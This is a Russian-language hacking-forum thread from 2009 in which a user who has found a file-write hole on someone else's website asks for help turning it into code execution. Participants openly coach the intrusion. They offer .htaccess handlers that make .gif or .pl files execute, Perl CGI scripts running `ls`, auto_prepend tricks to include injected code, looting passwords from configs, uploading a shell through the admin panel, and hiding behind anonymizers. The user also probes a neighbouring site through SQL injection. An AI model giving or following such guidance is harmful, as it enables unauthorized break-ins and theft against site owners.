Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   HELP ME PLEASE! Надо вставить <??> в файл (https://forum.antichat.xyz/showthread.php?t=120380)

_gr34t 13.05.2009 11:44

обход htmlspecialchars()! Надо вставить <??> в файл
 
Привет всем! Я нашёл уязвимости на одном сайте, а именно я могупросматривать содержимое и писать в файлы и даже создавать .php файлы. Но вставка текста фильтруется так

PHP код:

$text=htmlspecialchars(stripslashes($_GET['text'])); 

Как это можно обойти подскажите.

hors_de_prix 13.05.2009 12:37

ответ
 
это кодирока означает
от ввода html запроса (htmlspecialchars) а от ввода таких символов как /*-- union (stripslashes) тоисть они от взлома .
обычно их часто используют перед запросом к mysql или для написания поиска сайта .



если у тебя есть доступ к редактированию скриптов ,тогда найди вот такой тип кодировки .

$addtext = stripslashes($addtext);
$addtext = htmlspecialchars($addtext);

_gr34t 13.05.2009 12:48

Цитата:

если у тебя есть доступ к редактированию скриптов ,тогда найди вот такой тип кодировки .

$addtext = stripslashes($addtext);
$addtext = htmlspecialchars($addtext);
не понял. я уже нашёл. Мне надо, чтобы в файл записалось
PHP код:

<?phpinfo();?>

а пишется
PHP код:

&gl;phpinfo();&gt

именно из-за этой строчки: $text=htmlspecialchars(stripslashes($text));
А редактировать скрипты я могу, но при сохранении они сами и проходят через этот же фильтр. ((((((

D1mOn 13.05.2009 12:52

ну дык в любой существующий php файл впиши phpinfo();

_gr34t 13.05.2009 13:02

Цитата:

ну дык в любой существующий php файл впиши phpinfo();
Объясняю: при сохранении любого файла символы < и > заменяются на &lt; и &gt;, т.к. весь текст проходит через фильтр $text=htmlspecialchars(stripslashes($text));
Я думал есть способ как-нибудь это обойти.

Pashkela 13.05.2009 13:06

значит никак, т.е. попытавшись ПРОСТО отредактировать index.php тот же - ты фактически его убиваешь? Забавно

pento 13.05.2009 13:08

Цитата:

Сообщение от _gr34t
Привет всем! Я нашёл уязвимости на одном сайте, а именно я могупросматривать содержимое и писать в файлы и даже создавать .php файлы. Но вставка текста фильтруется так

PHP код:

$text=htmlspecialchars(stripslashes($_GET['text'])); 

Как это можно обойти подскажите.

Опии более подробно как происходит запись в файл.
Ну или хоть сырцы покажи.

_gr34t 13.05.2009 13:16

Цитата:

Сообщение от pento
Опии более подробно как происходит запись в файл.
Ну или хоть сырцы покажи.

PHP код:

$textdb "templ/".$pagename.".tpl";
//...
  
if (isset($add)): 
  
$textob=htmlspecialchars(stripslashes($textob)); 
  
$textob=str_replace("\t"," ",$textob); 
  
$fp = @fopen("$textdb","wb"); 
  @
fputs($fp,$textob); 
  @
fclose($fp); 
  
chmod ($textdb0777); 
  endif; 

Также вот ещё что есть:
PHP код:

 if (file_exists("$textdb")): 
  
$text_array file("$textdb"); 
  if (
count($text_array) != 0): 
   foreach (
$text_array as $i=>$string) { 
          
$text_str=$text_array[$i]; 
          
$text_str=str_replace("  ","  ",$text_str); 
          echo 
"$text_str";
   } 

пробовал в файл $textdb писать это: `ls`, но ничего не выполняется, а просто выводится на экран. ((

_gr34t 13.05.2009 13:18

Pashkela, да если сохраню. Я только что прочитал что можно обойти htmlspecialchars() с помощью изменения кодировки, но как именно - неизвестно... (((

ShAnKaR 13.05.2009 13:34

если есть возможность загрузить файл без этих ограничений на содержимое но с ограничением к расширению( к примеру только jpg ), то стоит попробовать создать .htaccess чтоб их обрабатывал как php

zeppe1in 13.05.2009 13:36

а какже перл?
типо того чтонить

#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print `ls`;

_gr34t 13.05.2009 14:01

zeppe1in, идея класс, но после создания файла file.pl и попытки к нему обратиться, выдаётся ошибка 403 Forbidden, т.е. нет доступа.

ShAnKaR, а то что ты предложил - это, наверное, единственный выход. Вобщем в папках кроме всего прочего валяются ещё такие файлы: pureftpd-upload.4a01289b.15.106fd.9ff82a4b и т.д. Это может как-нибудь помочь?

zeppe1in 13.05.2009 14:13

попробуй ещо file.cgi и если можеш то в других директориях типо cgi и cgi-bin. если не поможет можеш ещо попрбовать положить .htaccess с таким содержанием:
Options +ExecCGI
может там ещо есть какието варианты с .htaccess и запуском перл скриптов. также ещо косяк может быть в пути #!/usr/bin/perl.
Вобще попробуй может ты можеш найти офф сайт хостера, а там гденить в факе написано как запустить перл.

Pashkela 13.05.2009 14:14

Грузи .htaccess и не парь мозг:)

<Files ~ "\.gif$">
AddType application/x-httpd-php .gif
</Files>

Только не забудь его потом удалить. И вообще, всё надо делать очень быстро

Solker 13.05.2009 14:28

Зачем gif?..
Почему бы не взять любое другое расширение, что бы не портило картинки на сайте.
Например .ph5
И сохранить гифку в формате ph5.

zeppe1in 13.05.2009 14:37

Solker, ну потому что чаще всего на сервер можно загружать без палева картинки аватары типо. и ph5 скорее всего не пропустят, хотя нужно смотреть по конкретной ситуации.

Pashkela 13.05.2009 14:44

Это так, для примера было. Можно хоть png вставить. Загрузить, посмотреть что пропустит, дальше думать

_gr34t 13.05.2009 15:49

Всем спасибо за ответы!
Цитата:

Грузи .htaccess и не парь мозг

<Files ~ "\.gif$">
AddType application/x-httpd-php .gif
</Files>
Pashkela, Так тоже не получится из-за тех же < и >.

zeppe1in
Цитата:

попробуй ещо file.cgi и если можеш то в других директориях типо cgi и cgi-bin. если не поможет можеш ещо попрбовать положить .htaccess с таким содержанием:
Options +ExecCGI
может там ещо есть какието варианты с .htaccess и запуском перл скриптов. также ещо косяк может быть в пути #!/usr/bin/perl.
Вобще попробуй может ты можеш найти офф сайт хостера, а там гденить в факе написано как запустить перл.
file.cgi - тоже самое (403 Forbidden), директория cgi-bin - только на чтение. После создания .htaccess - генерируется Internal Server Error.
Заливать файлы нельзя. Ну ладно буду дальше искать

А вообще интересно, когда ломаешь простой не коммерческий сайт, хватит ли такой защиты, как обычный веб-анонимайзер?

zeppe1in 13.05.2009 16:07

Цитата:

Сообщение от _gr34t
.htaccess - генерируется Internal Server Error.

А вообще интересно, когда ломаешь простой не коммерческий сайт, хватит ли такой защиты, как обычный веб-анонимайзер?

блин там может нужно права на фаил выставлять, и тогда походу ты в пролёте. попробуй другие дыры поискать, ты вроде читаеш фаилы на сервере? посмотри там пароли какиенить в конфигах и прочее.
а по поводу защиты, я считаю что её нехватит никогда). и что там за анонимайзер у тя? обычные прокси почему не юзаеш?

ShAnKaR 13.05.2009 18:06

можно загрузить в другую папку даже в темп или сессию с кодом создать и подключить с помощью php_value auto_prepend
наверно можно даже логи с кодом таким макаром подключить

Pashkela 13.05.2009 18:10

Цитата:

Pashkela, Так тоже не получится из-за тех же < и >.
ОМГ! Убери первую и последнюю строчку, суть не изменится, главное:

AddType application/x-httpd-php .gif

_gr34t 13.05.2009 18:41

Цитата:

наверно можно даже логи с кодом таким макаром подключить
ShAnKaR, ты имеешь в виду логи апача? у них вроде права даже на чтение не стоят.

Pashkela, ок )) только всё равно загружать ничего нельзя )))



Зато я на соседнем сайте нашёл mysql-injection. Только толку от неё немного.
Народ подскажите, что можно узнать кроме version(), user() и database()?
Знаю ещё что LOAD_FILE() можно сделать, ща попробую...

_gr34t 13.05.2009 18:59

zeppe1in

Цитата:

и что там за анонимайзер у тя? обычные прокси почему не юзаеш?
обычный www-анонимайзер. Прокси не знаю как-то медленно и отключаются часто.

попугай 14.05.2009 23:35

Цитата:

Сообщение от _gr34t
ShAnKaR, ты имеешь в виду логи апача? у них вроде права даже на чтение не стоят.

Pashkela, ок )) только всё равно загружать ничего нельзя )))



Зато я на соседнем сайте нашёл mysql-injection. Только толку от неё немного.
Народ подскажите, что можно узнать кроме version(), user() и database()?
Знаю ещё что LOAD_FILE() можно сделать, ща попробую...


пробуй в админку зайти и шелл ливануть...

_gr34t 15.05.2009 01:27

Ееее! Я всё-таки нашёл дырочку в одном скрипте. Во истину, кто хочет - тот добъётся! )) Только на сервере safe_mode=on и disable_functions=passthru, shell_exec, proc_open. Могу читать папки и файлы только в папке htdocs, система FreeBSD 6.4-RELEASE-p3. Как при таком раскладе можно выполнять комманды на сервере? Подскажите люди добрые!

m0Hze 15.05.2009 01:59

Под такое наврятли руткиты найдеш в паблике...
я бы копал дальше,все что можно бы посмотрел,хостинг потыркал.
Был случай,когда нашел просто в папке файлег с пассами от мыл,так вот он и подошел к админке хостинга,бывает и такое.В общем, копай.

Zitt 15.05.2009 03:26

прямо курс молодого бойца )

zeppe1in 15.05.2009 10:10

Zitt, да уш)
_gr34t, посмотри может сплоенты на пхп есть какиенить которые обходят safe_mode. также опять перловый шел может прокатить. вобщем нужно копать дальше и не сдаваца).

Pashkela 15.05.2009 12:13

http://forum.antichat.ru/thread114500.html

_gr34t 15.05.2009 15:18

Залил 2 перловых файла одинакового содержания:
PHP код:

#!/usr/bin/perl
print "Content-Type:text/html\n\n";
print 
"HELLO WORLD!\n"

назвал их perl.pl и perl.cgi
права у обоих 755
содержимое .htaccess было таким:
PHP код:

Options +ExecCGI
AddHandler cgi
-script .cgi .pl 

и таким:
PHP код:

Options ExecCGI
AddHandler cgi
-script .cgi .pl 

и таким:
PHP код:

Options +ExecCGI
AddHandler cgi
-script .cgi .pl
ScriptInterpreterSource registry 

и таким:
PHP код:

Options +ExecCGI
AddType application
/x-httpd-cgi .pl .cgi 

и таким:
PHP код:

Options +ExecCGI
AddType application
/x-httpd-cgi .pl .cgi
ScriptInterpreterSource registry 

и таким:
PHP код:

Options +ExecCGI
AddHandler cgi
-script .cgi .pl
AddType application
/x-httpd-cgi .pl .cgi 

права на .htaccess 744
Владелец скриптов: 80/4962 (uid/gid)
У папки, в которой лежат скрипты права 777, владелец - 4962/4962
Запись в папку cgi-bin запрещена (права 755)
И всё время - ошибка 500 Internal Server Error!!! Что делать я не знаю, подскажите пожалуйста!
А да забыл написать, символы \r из концов строк я удалил.

zeppe1in 15.05.2009 21:07

дак там как сервер смотря настроен. я грю фак по хостингу не ненайти?) копай в другую сторону тогда.


Время: 10:11